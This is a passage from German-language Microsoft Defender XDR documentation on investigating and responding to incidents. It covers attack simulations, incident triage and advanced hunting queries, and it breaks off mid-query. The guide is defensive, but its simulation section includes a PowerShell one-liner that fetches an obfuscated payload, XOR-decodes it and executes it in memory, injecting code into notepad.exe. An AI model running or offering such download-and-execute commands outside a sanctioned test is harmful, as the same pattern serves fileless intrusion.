Untersuchen und reagieren Sie mit Microsoft Defender

Dieser Artikel beschreibt den Prozess zur Erstellung von Vorfällen mit Angriffssimulationen und Tutorials sowie zur Nutzung von Microsoft Defender zur Untersuchung und Reaktion. Bevor Sie mit diesem Prozess beginnen, stellen Sie sicher, dass Sie den gesamten Prozess für das Pilotieren und Bereitstellen von Microsoft Defender überprüft haben und zumindest einige der Komponenten von Microsoft Defender getestet haben.

Ein Vorfall in Microsoft Defender ist eine Sammlung korrelierter Warnungen und zugehöriger Daten, die die Geschichte eines Angriffs bilden. Microsoft 365-Dienste und -Anwendungen erstellen Warnungen, wenn sie ein verdächtiges oder bösartiges Ereignis oder eine Aktivität erkennen. Einzelne Warnungen bieten wertvolle Hinweise zu einem abgeschlossenen oder laufenden Angriff. Angriffe wenden jedoch in der Regel verschiedene Techniken gegen verschiedene Arten von Entitäten an, z. B. Geräte, Benutzer und Postfächer. Das Ergebnis sind mehrere Warnungen für mehrere Entitäten in Ihrem Mandanten.

End-to-End-Bereitstellung für Microsoft Defender

Dies ist Artikel 6 von 6 in einer Reihe, um Ihnen bei der Bereitstellung der Komponenten von Microsoft Defender XDR zu helfen, einschließlich der Untersuchung und Reaktion auf Vorfälle.

Die Artikel in dieser Reihe entsprechen den folgenden Phasen der End-to-End-Bereitstellung:

Zu jedem Zeitpunkt während Ihres Pilot- und Deployments können Sie die Incident Response sowie automatisierte Untersuchungs- und Sanierungsfunktionen von Microsoft Defender testen, indem Sie einen Vorfall mit einem simulierten Angriff erstellen und das Microsoft Defender-Portal zur Untersuchung und Reaktion nutzen.

Arbeitsablauf für Vorfalluntersuchung und -reaktion mit Microsoft Defender

Hier sehen Sie den Workflow zum Untersuchen und Reagieren auf Incidents mithilfe von Microsoft Defender XDR in Ihrer Produktionsumgebung.

Gehen Sie folgendermaßen vor:

1. Sammeln von Threat Intelligence zur Identifizierung von Angreifern und deren Infrastruktur
2. Simulieren von Angriffen mit dem Microsoft Defender-Portal
3. Priorisieren von Vorfällen
4. Verwalten von Vorfällen
5. Überprüfen Sie die automatisierte Untersuchung und Reaktion mit dem Aktionscenter
6. Verwenden Sie die erweiterte Suche

Schritt 1. Sammeln von Threat Intelligence zur Identifizierung von Angreifern und deren Infrastruktur

Microsoft Threat Intelligence in Microsoft Defender XDR liefert Indikatoren für Kompromittierungen (IOCs), Bedrohungsforschung und Analysen von Microsoft-Experten und anderen Quellen. Sie können Artikel zur Bedrohungsaufklärung durchsehen oder nach Bedrohungsakteuren, Schwachstellen und anderen Anzeichen suchen, um Ihre Untersuchungen zu unterstützen. Sie können Artikel lesen oder nach Bedrohungsakteuren, Sicherheitsrisiken und anderen IOCs suchen, um Einblicke in die Arten von Bedrohungen zu erhalten, die Sie untersuchen möchten.

• Für ein Tutorial, wie man Indikatorsuche durchführt und Bedrohungs- und Gegnerinformationen sammelt, siehe: Tutorial: Bedrohungsinformationen sammeln und Infrastruktur-Chaining durchführen
• Für ein Tutorial, wie man Indikatorsuchen zur Sammlung von Schwachstelleninformationen durchführt, siehe: Tutorial: Vulnerability Intelligence sammeln

Weitere Informationen finden Sie unter Microsoft Threat Intelligence in Microsoft Defender XDR

Schritt 2. Simulieren von Angriffen mit dem Microsoft Defender-Portal

Das Microsoft Defender-Portal verfügt über integrierte Funktionen zum Erstellen simulierter Angriffe auf Ihre Pilotumgebung:

• Angriffssimulationstraining für Microsoft Defender XDR für Office 365.

  Wählen Sie im Microsoft Defender-Portal E-Mail & Zusammenarbeit > Angriffssimulationstraining aus.

• Anleitungen zu Angriffen & Simulationen für Microsoft Defender XDR for Endpoint.

  Wählen Sie im Microsoft Defender-PortalEndpunkte > Tutorials und Simulationen aus.

Defender for Office 365-Angriffssimulationstraining

Defender für Office 365 mit Microsoft 365 E5 oder Microsoft Defender für Office 365 Plan 2 umfasst Angriffssimulationstraining für Phishingangriffe. Die grundlegenden Schritte sind:

1. Erstellen einer Simulation

   Für Schritt-für-Schritt-Anleitungen, wie man eine neue Simulation erstellt und startet, siehe Simulieren eines Phishing-Angriffs.

2. Payload erstellen

   Für Schritt-für-Schritt-Anleitungen, wie man eine Nutzlast für den Einsatz in einer Simulation erstellt, siehe Erstellen einer benutzerdefinierten Nutzlast für das Training der Angriffssimulation.

3. Gewinnen von Erkenntnissen

   Für Schritt-für-Schritt-Anleitungen, wie man durch Reporting Einblicke gewinnen kann, siehe Erhalten von Einblicken durch Angriffssimulationstraining.

Weitere Informationen finden Sie unter Simulationen.

Defender for Endpunkt-Angriffstutorials & Simulationen

Hier sind die Defender für Endpunkt-Simulationen von Microsoft:

• Dokument enthält eine Hintertür
• Automatisierte Untersuchung (Backdoor)

Es gibt zusätzliche Simulationen aus Drittanbieterquellen. Es gibt auch eine Reihe von Tutorials.

Für jede Simulation oder jedes Tutorial:

1. Laden Sie das entsprechende bereitgestellte Schritt-für-Schritt-Dokument herunter und lesen Sie es.

2. Laden Sie die Simulationsdatei herunter. Sie können die Datei oder das Skript auf das Testgerät herunterladen, dies ist jedoch nicht obligatorisch.

3. Führen Sie die Simulationsdatei oder das Skript auf dem Testgerät wie in der Schritt-für-Schritt-Anleitung beschrieben aus.

Weitere Informationen finden Sie unter Erfahrung Microsoft Defender for Endpoint durch simulierte Angriffe.

Simulieren eines Angriffs mit einem isolierten Domänencontroller und Clientgerät (optional)

In dieser optionalen Übung zur Reaktion auf Vorfälle simulieren Sie einen Angriff auf einen isolierten AD DS-Domänencontroller (Active Directory Domain Services) und ein Windows-Gerät mithilfe eines PowerShell-Skripts. Anschließend untersuchen, beheben und beheben Sie den Incident.

Zunächst müssen Sie Ihrer Pilotumgebung Endpunkte hinzufügen.

Hinzufügen von Pilotumgebungsendpunkten

Zunächst müssen Sie Ihrer Pilotumgebung einen isolierten AD DS-Domänencontroller und ein Windows-Gerät hinzufügen.

1. Überprüfen Sie, ob Ihr Pilotumgebungs-Tenant Microsoft Defender aktiviert hat.

2. Vergewissern Sie sich, dass Ihr Domänencontroller:

   • Führt Windows Server 2008 R2 oder eine höhere Version aus.
   • An Microsoft Defender for Identity berichtet und die Remoteverwaltung aktiviert hat.
   • Die Integration von Microsoft Defender for Identity und Microsoft Defender for Cloud Apps ist aktiviert.
   • Verfügt über einen Testbenutzer, der in der Testdomäne erstellt wurde. Berechtigungen auf Administratorebene sind nicht erforderlich.

3. Überprüfen Sie, ob Ihr Testgerät:

   • Führt Windows 10 Version 1903 oder höher aus.
   • Ist in die AD DS-Domänencontrollerdomäne eingebunden.
   • Hat Microsoft Defender Antivirus aktiviert. Wenn Sie Probleme beim Aktivieren von Microsoft Defender Antivirus haben, lesen Sie Stellen Sie sicher, dass Microsoft Defender Antivirus nicht durch eine Richtlinie deaktiviert ist.
   • Ist in Microsoft Defender for Endpoint integriert.

Wenn Sie Mandanten- und Gerätegruppen verwenden, erstellen Sie eine dedizierte Gerätegruppe für das Testgerät, und pushen Sie sie an die oberste Ebene.

Eine Alternative besteht darin, Ihren AD DS-Domänencontroller zu hosten und das Gerät als virtuelle Computer in Microsoft Azure-Infrastrukturdiensten zu testen. Sie können die Anweisungen in Phase 1 des simulierten Unternehmenstestumgebungshandbuchs verwenden, aber die Erstellung des virtuellen Computers APP1 überspringen.

Das folgende Diagramm zeigt die fertige Pilotumgebung.

Du simulierst einen fortgeschrittenen Angriff, der mit Schleichtechniken versucht, sich vor Entdeckung zu verstecken. Der Angriff listet offene Server Message Block (SMB)-Sitzungen auf Domänencontrollern auf. Es ruft außerdem die aktuellen IP-Adressen der Geräte der Nutzer ab. Dateilose In-Memory-Angriffe wie dieser lassen keine Dateien auf dem Gerät des Opfers fallen. Stattdessen laufen sie nur im Gedächtnis. Sie "leben vom Land", indem sie eingebaute System- und Admin-Tools nutzen. Sie fügen auch Code in Systemprozesse ein, um zu verbergen, was sie tun. Dieses Verhalten hilft ihnen, der Erkennung zu entgehen und auf dem Gerät zu bleiben.

In dieser Simulation beginnt das Szenario mit einem PowerShell-Skript. In der realen Welt könnte ein Nutzer dazu verleitet werden, ein Skript auszuführen. Das Skript kann auch von einer entfernten Verbindung zu einem anderen Computer eines zuvor infizierten Geräts ausgeführt werden. Dieses Verhalten deutet darauf hin, dass der Angreifer versucht, sich seitlich im Netzwerk zu bewegen. Diese Skripte sind schwer zu erkennen, da Administratoren Skripte auch remote für Routineaufgaben ausführen.

Während der Simulation fügt der Angriff Shellcode in einen scheinbar unschuldigen Prozess ein. Das Szenario erfordert die Verwendung von notepad.exe. Wir haben diesen Prozess für die Simulation gewählt, aber Angreifer würden wahrscheinlicher auf einen lang andauernden Systemprozess abzielen, z. B. svchost.exe. Der Shellcode setzt sich dann mit dem C2-Server (Command-and-Control) des Angreifers in Verbindung, um Anweisungen zum Vorgehen zu erhalten. Das Skript versucht, Reconnaissance-Abfragen für den Domänencontroller (DC) auszuführen. Reconnaissance ermöglicht es einem Angreifer, Informationen zu aktuellen Benutzeranmeldungsinformationen abzurufen. Sobald Angreifer über diese Informationen verfügen, können sie sich seitlich im Netzwerk bewegen, um zu einem bestimmten sensiblen Konto zu gelangen.

Ausführen der Angriffssimulation für isolierte AD DS-Domänencontroller

So führen Sie die Simulation des Angriffsszenarios aus:

1. Stellen Sie sicher, dass Ihre Pilotumgebung den isolierten AD DS-Domänencontroller und das Windows-Gerät enthält.

2. Melden Sie sich mit dem Testbenutzerkonto beim Testgerät an.

3. Öffnen Sie ein Windows PowerShell Fenster auf dem Testgerät.

4. Kopieren Sie das folgende Simulationsskript:

   [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
   ;$xor = [System.Text.Encoding]::UTF8.GetBytes('WinATP-Intro-Injection');
   $base64String = (Invoke-WebRequest -URI "https://wcdstaticfilesprdeus.blob.core.windows.net/wcdstaticfiles/MTP_Fileless_Recon.txt" -UseBasicParsing).Content;Try{ $contentBytes = [System.Convert]::FromBase64String($base64String) } Catch { $contentBytes = [System.Convert]::FromBase64String($base64String.Substring(3)) };$i = 0;
   $decryptedBytes = @();$contentBytes.foreach{ $decryptedBytes += $_ -bxor $xor[$i];
   $i++; if ($i -eq $xor.Length) {$i = 0} };Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($decryptedBytes))
   

   Hinweis

   Wenn Sie diesen Artikel in einem Webbrowser öffnen, treten möglicherweise Probleme beim Kopieren des vollständigen Texts auf, ohne bestimmte Zeichen zu verlieren oder zusätzliche Zeilenumbrüche einzuführen. Wenn dies der Fall ist, laden Sie dieses Dokument herunter, und öffnen Sie es auf Adobe Reader.

5. Fügen Sie das kopierte Skript im PowerShell-Fenster ein, und führen Sie es aus.

Wenige Sekunden später öffnet sich die App Notepad. Ein simulierter Angriffscode wird in Notepad injiziert. Lassen Sie die automatisch generierte Notepad-Instanz offen, um das vollständige Szenario zu erleben.

Der simulierte Angriffscode versucht, mit einer externen IP-Adresse zu kommunizieren (simuliert den C2-Server) und versucht dann über SMB eine Reconnaissance gegen den Domänencontroller.

Die folgende Konsolenausgabe bestätigt, dass die simulierte Aufklärungsaktion erfolgreich gegen den Domänencontroller abgeschlossen wurde:

ran NetSessionEnum against [DC Name] with return code result 0

Um die Funktion "Automatisierter Vorfall und Reaktion" in Aktion zu sehen, lassen Sie den notepad.exe Prozess offen. Sie sehen, dass automatisierte Vorfälle und Reaktionen den Editorprozess beenden.

Untersuchen Sie den Vorfall für den simulierten Angriff

Wenn Sie zur Ansicht des SOC-Analysten wechseln, können Sie jetzt mit der Untersuchung des Angriffs im Microsoft Defender-Portal beginnen.

1. Öffnen Sie das Microsoft Defender-Portal.

2. Wählen Sie im Navigationsbereich Incidents & Alerts > Incidents aus.

3. Der neue Vorfall für den simulierten Angriff wird in der Vorfallwarteschlange angezeigt.

   

Untersuchen des Angriffs als einzelner Vorfall

Microsoft Defender korreliert Analysen und aggregiert alle zugehörigen Warnungen und Untersuchungen von verschiedenen Produkten in einer einzigen Vorfall-Entität. Dadurch zeigt Microsoft Defender eine umfassendere Angriffsgeschichte, die es dem SOC-Analysten ermöglicht, komplexe Bedrohungen zu verstehen und darauf zu reagieren.

Die während dieser Simulation generierten Warnungen sind der gleichen Bedrohung zugeordnet und werden daher automatisch als einzelner Incident aggregiert.

Anzeigen des Vorfalls:

1. Öffnen Sie das Microsoft Defender-Portal.

2. Wählen Sie im Navigationsbereich Incidents & Alerts > Incidents aus.

3. Wählen Sie den neuesten Gegenstand aus, indem Sie den Kreis links neben dem Vorfallnamen auswählen. In einem seitenseitigen Bereich werden zusätzliche Informationen zum Incident angezeigt, einschließlich aller zugehörigen Warnungen. Jeder Incident hat einen eindeutigen Namen, der ihn basierend auf den Attributen der darin enthaltenen Warnungen beschreibt.

   Die im Dashboard angezeigten Warnungen können basierend auf Dienstressourcen gefiltert werden: Microsoft Defender for Identity, Microsoft Defender for Cloud Apps, Microsoft Defender for Endpoint, Microsoft Defender XDR und Microsoft Defender für Office 365.

4. Wählen Sie Seite "Incident öffnen " aus, um weitere Informationen zum Incident zu erhalten.

   Auf der Seite Incident werden alle Warnungen und Informationen im Zusammenhang mit dem Incident angezeigt. Die Informationen umfassen die Entitäten und Ressourcen, die an der Warnung beteiligt sind, die Erkennungsquelle der Warnungen (z. B. Microsoft Defender for Identity oder Microsoft Defender for Endpoint) und den Grund, warum sie miteinander verknüpft wurden. Die Überprüfung der Liste der Vorfallwarnungen zeigt den Verlauf des Angriffs. In dieser Ansicht können Sie die einzelnen Warnungen anzeigen und untersuchen.

   Sie können auch im Menü auf der rechten Seite Incident verwalten auswählen, um den Incident zu markieren, sich selbst zuzuweisen und Kommentare hinzuzufügen.

Überprüfen generierter Warnungen

Sehen wir uns einige der Warnungen an, die während des simulierten Angriffs generiert wurden.

Warnung: Verdächtige Prozessinjektion beobachtet (Quelle: Microsoft Defender for Endpoint)

Fortgeschrittene Angreifer verwenden komplexe und heimliche Methoden, um im Arbeitsspeicher zu bleiben und sich vor Erkennungstools zu verstecken. Eine gängige Technik besteht darin, innerhalb eines vertrauenswürdigen Systemprozesses statt einer schädlichen ausführbaren Datei zu arbeiten, sodass Erkennungstools und Sicherheitsvorgänge den schädlichen Code nur schwer erkennen können.

Damit die SOC-Analysten diese erweiterten Angriffe abfangen können, bieten Deep Memory-Sensoren in Microsoft Defender for Endpoint unseren Clouddienst einen beispiellosen Einblick in verschiedene prozessübergreifende Codeinjektionstechniken. Die folgende Abbildung zeigt, wie Defender for Endpoint den Versuch erkannt und eine Warnung ausgegeben hat, Code in notepad.exe einzuschleusen.

Warnung: Unerwartetes Verhalten bei einer Prozessausführung ohne Befehlszeilenargumente (Quelle: Microsoft Defender for Endpoint)

Microsoft Defender for Endpoint Erkennungen zielen häufig auf das am häufigsten verwendete Attribut einer Angriffstechnik ab. Diese Methode gewährleistet Langlebigkeit und erhöht die Hürde für Angreifer, auf neuere Taktiken umzusteigen.

Wir setzen umfangreiche Lernalgorithmen ein, um das normale Verhalten gängiger Prozesse innerhalb eines organization und weltweit zu bestimmen und zu beobachten, wann diese Prozesse anomales Verhalten zeigen. Diese anomalen Verhaltensweisen deuten häufig darauf hin, dass überflüssiger Code eingeführt wurde und in einem ansonsten vertrauenswürdigen Prozess ausgeführt wird.

In diesem Szenario weist der Prozess notepad.exe ein ungewöhnliches Verhalten auf, das die Kommunikation mit einem externen Standort einbezieht. Die Erkennung dieser abnormalen externen Kommunikation ist unabhängig von der spezifischen Methode, mit der der bösartigen Code eingeführt und ausgeführt wird.

Beachten Sie, dass die Warnungsdetails die externe IP-Adresse enthalten – ein Indikator, den Sie als Pivot verwenden können, um die Untersuchung zu erweitern.

Wählen Sie im Prozessbaum der Warnung die IP-Adresse aus, um die Detailseite der IP-Adresse anzuzeigen.

Wenn Sie eine IP-Adresse in der Warnungsvorgangsstruktur auswählen, wird die Seite mit den IP-Adressdetails geöffnet und zusätzliche Informationen zur Adresse angezeigt.

Warnung: Benutzer- und IP-Adressaufklärung (SMB) (Quelle: Microsoft Defender for Identity)

Die Aufzählung mittels des Server Message Block (SMB)-Protokolls ermöglicht es Angreifern, aktuelle Anmeldeinformationen des Nutzers zu erhalten, die ihnen helfen, sich seitlich durch das Netzwerk zu bewegen, um auf ein bestimmtes sensibles Konto zuzugreifen.

Bei dieser Erkennung wird eine Warnung ausgelöst, wenn die SMB-Sitzungsenumeration auf einem Domänencontroller ausgeführt wird.

Überprüfen der Zeitleiste des Geräts mit Microsoft Defender for Endpoint

Kehren Sie nach der Erkundung der verschiedenen Warnungen in diesem Vorfall zur Hauptseite des Vorfalls im Microsoft Defender-Portal zurück. Wählen Sie auf der Incidentseite die Registerkarte Geräte aus, um die von Microsoft Defender for Endpoint und Microsoft Defender for Identity gemeldeten Geräte zu überprüfen, die an diesem Vorfall beteiligt sind.

Wählen Sie den Namen des Geräts aus, auf dem der Angriff durchgeführt wurde, um die Entitätsseite für dieses bestimmte Gerät zu öffnen. Auf dieser Seite werden ausgelöste Warnungen und zugehörige Ereignisse angezeigt.

Wählen Sie die Registerkarte Zeitachse aus, um die Gerätezeitachse zu öffnen und alle auf dem Gerät beobachteten Ereignisse und Verhaltensmuster in chronologischer Reihenfolge zusammen mit den ausgelösten Warnmeldungen anzuzeigen.

Das Erweitern einiger der interessanteren Verhaltensweisen bietet nützliche Details, z. B. Prozessstrukturen.

Scrollen Sie beispielsweise nach unten, bis Sie das Warnungsereignis Verdächtige Prozessinjektion beobachtet finden. Wählen Sie darunter das Ereignis powershell.exe, das in den Prozess notepad.exe injiziert wurde aus, um im Seitenbereich unter dem Diagramm Ereignisentitäten den vollständigen Prozessbaum für dieses Verhalten anzuzeigen. Verwenden Sie ggf. die Suchleiste zum Filtern.

Überprüfen Sie die Benutzerinformationen mit Microsoft Defender for Cloud Apps

Wählen Sie auf der Vorfallseite die Registerkarte Benutzer aus, um die Liste der am Angriff beteiligten Benutzer anzuzeigen. Die Tabelle enthält zusätzliche Informationen zu jedem Benutzer, einschließlich der Bewertung der Untersuchungspriorität der einzelnen Benutzer.

Wählen Sie den Benutzernamen aus, um die Profilseite des Benutzers zu öffnen, auf der weitere Untersuchungen durchgeführt werden können. Weitere Informationen finden Sie unter Untersuchen riskanter Benutzer in Defender for Cloud Apps.

Automatisierte Untersuchung und Behebung

Navigieren Sie im Microsoft Defender Portal zurück zum Incident. Auf der Registerkarte Untersuchungen auf der Seite Incident werden die automatisierten Untersuchungen angezeigt, die durch Microsoft Defender for Identity und Microsoft Defender for Endpoint ausgelöst wurden. Im folgenden Screenshot wird nur die von Defender for Endpoint ausgelöste automatisierte Untersuchung angezeigt. Standardmäßig behebt Defender for Endpoint automatisch die Artefakte in der Warteschlange, die eine Korrektur erfordern.

Wählen Sie die Warnung aus, die eine Untersuchung ausgelöst hat, um die Seite Untersuchungsdetails zu öffnen. Die folgenden Details werden angezeigt:

• Warnungen, die die automatisierte Untersuchung ausgelöst haben.
• Betroffene Benutzer und Geräte. Wenn Indikatoren auf anderen Geräten gefunden werden, werden auch diese anderen Geräte aufgeführt.
• Liste der Beweise. Die gefundenen und analysierten Entitäten, z. B. Dateien, Prozesse, Dienste, Treiber und Netzwerkadressen. Diese Entitäten werden auf mögliche Beziehungen zur Warnung analysiert und als gutartig oder böswillig eingestuft.
• Bedrohungen gefunden. Bekannte Bedrohungen, die während der Untersuchung gefunden werden.

Während der automatisierten Untersuchung haben Microsoft Defender for Endpoint den notepad.exe Prozess identifiziert, der als eines der Artefakte eingefügt wurde, die eine Wartung erfordern. Microsoft Defender for Endpoint stoppt die verdächtige Prozessinjektion automatisch als Teil der automatisierten Behebung.

Sie können sehen, wie notepad.exe aus der Liste der laufenden Prozesse auf dem Testgerät verschwindet.

Beheben des Incidents

Nachdem die Untersuchung abgeschlossen und bestätigt wurde, dass sie behoben wurde, lösen Sie den Vorfall.

Wählen Sie auf der Seite Incident die Option Incident verwalten aus. Legen Sie den Status auf Vorfall beheben fest, und wählen Sie Echter Alarm für die Klassifizierung und Sicherheitstest für die Bestimmung aus.

Wenn der Incident behoben ist, werden alle zugehörigen Warnungen im Microsoft Defender-Portal und den zugehörigen Portalen aufgelöst.

Damit sind die Angriffssimulationen für die Vorfallanalyse, die automatisierte Untersuchung und die Vorfallbehebung abgeschlossen.

Schritt 3. Priorisieren von Vorfällen

Sie gelangen über Vorfälle & Warnungen > Vorfälle in der Schnellstartleiste des Microsoft Defender-Portals zur Warteschlange für Vorfälle. Im Folgenden sehen Sie ein Beispiel.

Der Abschnitt " Letzte Vorfälle und Warnungen" zeigt eine Grafik der Warnungen und Vorfälle der letzten 24 Stunden.

Um Vorfälle zu überprüfen und zu priorisieren, können Sie:

• Wählen Sie die Spalten Auswählen , um Details zu jedem Vorfall oder seinen betroffenen Einheiten anzuzeigen. Nutzen Sie diese Details, um zu entscheiden, welche Vorfälle zuerst analysiert werden sollen.

• Wenden Sie Filter an, um sich auf eine bestimmte Bedrohung oder ein Szenario zu konzentrieren. Filter helfen Ihnen, zu erkennen, welche Vorfälle eine schnelle Aktion erfordern.

Wählen Sie in der Vorfallwarteschlange Filter aus, um den Filterbereich zu öffnen. Nutzen Sie es, um die Liste auf eine bestimmte Gruppe von Vorfällen einzugrenzen. Im Folgenden sehen Sie ein Beispiel.

Weitere Informationen finden Sie unter Priorisieren von Incidents.

Schritt 4. Verwalten von Vorfällen

Sie können Vorfälle im Bereich Vorfall verwalten eines Vorfalls verwalten. Im Folgenden sehen Sie ein Beispiel.

Sie können diesen Bereich über den Link Vorfall verwalten aufrufen:

• Eigenschaftenbereich eines Vorfalls in der Vorfallwarteschlange.
• Zusammenfassungsseite eines Incidents.

Hier sind die Möglichkeiten, wie Sie Ihre Vorfälle verwalten können:

• Incidentnamen bearbeiten

  Ändern Sie den automatisch zugewiesenen Namen basierend auf den bewährten Methoden Ihres Sicherheitsteams.

• Hinzufügen von Ereigniskategorien

  Fügen Sie Tags hinzu, die Ihr Sicherheitsteam zum Klassifizieren von Vorfällen verwendet, die später gefiltert werden können.

• Weisen Sie den Vorfall zu

  Weisen Sie ihn einem Benutzerkontonamen zu, der später gefiltert werden kann.

• Beheben eines Incidents

  Schließen Sie den Incident, nachdem er behoben wurde.

• Klassifizierung und Bestimmung festlegen

  Klassifizieren und wählen Sie den Bedrohungstyp aus, wenn Sie einen Incident beheben.

• Kommentare hinzufügen

  Nutze Kommentare, um den Fortschritt zu verfolgen, Notizen hinzuzufügen oder andere Details zu teilen. Die vollständige Kommentarhistorie können Sie über die Option Kommentare und Verlauf auf der Seite zu den Vorfalldetails einsehen.

Weitere Informationen finden Sie unter Verwalten von Incidents.

Schritt 5. Untersuchen Sie die automatisierte Untersuchung und Reaktion mit dem Aktionscenter

Basierend auf der Einrichtung Ihrer Organisation laufen Behebungsmaßnahmen automatisch oder warten Sie auf die Genehmigung Ihres Sicherheitsteams. Das Aktionszentrum listet alle Aktionen an einem Ort auf, egal ob ausstehend oder erledigt. Es umfasst Geräte, E-Mail- und Kollaborationsinhalte sowie Identitäten.

Im Folgenden sehen Sie ein Beispiel.

Im Aktionszentrum wählen Sie ausstehende Aktionen aus. Dann genehmigen oder lehnen Sie sie im Flyout-Bereich ab. Im Folgenden sehen Sie ein Beispiel.

Genehmigen oder lehnen Sie ausstehende Aktionen so schnell wie möglich ab. Das hilft Ihnen, Ihre automatisierten Untersuchungen rechtzeitig abzuschließen.

Weitere Informationen finden Sie unter Automatisierte Untersuchung und Reaktion und Info-Center.

Schritt 6: Verwenden Sie die erweiterte Suche

Wenn die optionale dateilose PowerShell-Angriffssimulation ein echter Angriff war, der die Zugangsstufe für die Zugangsdaten erreicht hat, können Sie zu jedem Zeitpunkt der Untersuchung erweiterte Suche verwenden. Erweiterte Jagd ermöglicht es Ihnen, Ereignisse und Datensätze im Netzwerk zu durchsuchen, basierend auf dem, was Sie bereits von Warnungen und betroffenen Entitäten wissen.

Zum Beispiel können Sie Informationen aus dem User and IP Address Reconnaissance (SMB) Alert verwenden, um die IdentityDirectoryEvents Tabelle nach SMB-Sitzungsaufzählungsereignissen abzufragen. Man kann auch Entdeckungsaktivitäten in anderen Protokollen finden, indem man die IdentityQueryEvents Tabelle abfragt.

Anforderungen an die Huntingumgebung

Für diese Simulation sind ein einzelnes internes Postfach und Gerät erforderlich. Sie benötigen auch ein externes E-Mail-Konto, um die Testnachricht zu senden.

1. Überprüfen Sie, ob Ihr Mieter Microsoft Defender aktiviert hat.

2. Identifizieren Sie ein Zielpostfach, das zum Empfangen von E-Mails verwendet werden soll.

   • Dieses Postfach muss von Microsoft Defender for Office 365 überwacht werden

   • Das Gerät aus Anforderung 3 muss auf dieses Postfach zugreifen.

3. Konfigurieren eines Testgeräts:

   a. Stellen Sie sicher, dass Sie Windows 10 Version 1903 oder höher verwenden.

   b. Fügen Sie das Testgerät in die Testdomäne ein.

   c. Aktivieren Sie Microsoft Defender Antivirus. Wenn Sie Probleme beim Aktivieren von Microsoft Defender Antivirus haben, lesen Sie Stellen Sie sicher, dass Microsoft Defender Antivirus nicht durch eine Richtlinie deaktiviert ist.

   d. In Microsoft Defender for Endpoint einbinden.

Ausführen der Simulation

1. Senden Sie über ein externes E-Mail-Konto eine E-Mail an das Postfach, das in Schritt 2 des Abschnitts Anforderungen für die Huntingumgebung identifiziert wurde. Fügen Sie einen Anhang ein, der alle bestehenden E-Mail-Filterrichtlinien passiert. Diese Datei muss weder böswillig noch ausführbar sein. Vorgeschlagene Dateitypen sind .pdf, .exe (sofern zulässig) oder ein Office-Dokumenttyp wie eine Word-Datei.

2. Öffnen Sie die gesendete E-Mail auf dem Gerät, das wie in Schritt 3 des Abschnitts zu den Anforderungen an die Hunting-Umgebung beschrieben konfiguriert ist. Öffnen Sie entweder den Anhang oder speichern Sie die Datei auf dem Gerät.

Gehen Sie jagen

1. Öffnen Sie das Microsoft Defender-Portal.

2. Wählen Sie im Navigationsbereich Hunting > Advanced hunting aus.

3. Erstellen Sie eine Abfrage, die mit dem Sammeln von E-Mail-Ereignissen beginnt.

   1. Wählen Sie Abfrage > neu aus.

   2. Doppelklicken Sie in den E-Mail-Gruppen unter Erweiterte Suche auf EmailEvents. Dies sollte im Abfragefenster angezeigt werden.

      EmailEvents
      

   3. Ändern Sie den Zeitrahmen der Abfrage in die letzten 24 Stunden. Angenommen, die E-Mail, die Sie beim Ausführen der obigen Simulation gesendet haben, lag in den letzten 24 Stunden, andernfalls ändern Sie den Zeitrahmen nach Bedarf.

   4. Wählen Sie Abfrage ausführen aus. Je nach Pilotumgebung können unterschiedliche Ergebnisse erzielt werden.

      Hinweis

      Sie können eine where-Bedingung hinzufügen, um Ergebnisse zu filtern, wie im folgenden Schritt gezeigt.

      

      Hinweis

      Bei der erweiterten Suche werden Abfrageergebnisse als tabellarische Daten angezeigt. Sie können die Daten auch in anderen Formattypen wie Diagrammen anzeigen.

   5. Sehen Sie sich die Ergebnisse an, und überprüfen Sie, ob Sie die geöffnete E-Mail identifizieren können. Es kann bis zu zwei Stunden dauern, bis die Nachricht in der erweiterten Suche angezeigt wird. Um die Ergebnisse einzugrenzen, können Sie ihrer Abfrage die Where-Bedingung hinzufügen, um nur nach E-Mails zu suchen, die "yahoo.com" als SenderMailFromDomain haben. Im Folgenden sehen Sie ein Beispiel.

      EmailEvents
      | where SenderMailFromDomain == "yahoo.com"
      

   6. Wählen Sie die resultierenden Zeilen aus der Abfrage aus, damit Sie den Datensatz überprüfen können.

      

4. Nachdem Sie sich nun vergewissert haben, dass die E-Mail angezeigt wird, fügen Sie einen Filter für die Anlagen hinzu. Konzentrieren Sie sich auf alle E-Mails mit Anlagen in der Umgebung. Konzentrieren Sie sich für diese Simulation auf eingehende E-Mails, nicht auf E-Mails, die aus Ihrer Umgebung gesendet werden. Entfernen Sie alle Filter, die Sie hinzugefügt haben, um Ihre Nachricht zu suchen, und fügen Sie „| where AttachmentCount > 0 and EmailDirection == “Inbound”” hinzu

   Die folgende Abfrage liefert nur eingehende E-Mails mit Anhängen, was die Ergebnisse Ihrer ursprünglichen Anfrage einschränkt:

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   

5. Fügen Sie als Nächstes die Informationen zur Anlage (z. B. Dateiname, Hashes) in Ihr Resultset ein. Verknüpfen Sie dazu die Tabelle EmailAttachmentInfo. Die allgemeinen Felder, die für die Verknüpfung verwendet werden sollen, sind in diesem Fall NetworkMessageId und RecipientObjectId.

   Die folgende Abfrage baut auf der vorherigen auf, indem sie die EmailAttachmentInfo-Tabelle einfügt, um Anhängedetails (wie Dateiname und Hashes) zu Ihren Ergebnissen hinzuzufügen. Außerdem wird das Zeitstempelfeld in EmailTimestamp umbenannt, sodass Sie in späteren Schritten E-Mail-Zeitstempel von Aktionszeitstempeln unterscheiden können.

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   | project-rename EmailTimestamp=Timestamp
   | join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
   

6. Verwenden Sie als Nächstes den SHA256-Wert aus der Tabelle EmailAttachmentInfo , um DeviceFileEvents (Dateiaktionen, die auf dem Endpunkt aufgetreten sind) für diesen Hash zu suchen. Das gemeinsame Feld hier ist der SHA256-Hash für den Anhang.

   Die folgende Abfrage erweitert die vorherige, indem sie der DeviceFileEvents-Tabelle mit dem SHA256-Hash beigefügt wird. Dadurch werden E-Mail-Anhänge mit Dateiaktionen auf dem Endpunkt verknüpft, sodass Sie sehen können, welche Geräte die Datei empfangen haben und was damit passiert ist. Die Ergebnisse umfassen Endpunktdetails aus Microsoft Defender for Endpoint, wie Gerätename, Aktionstyp (auf FileCreated-Ereignisse gefiltert), Speicherort der Datei und den mit dem Prozess verknüpften Kontonamen.

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   | project-rename EmailTimestamp=Timestamp
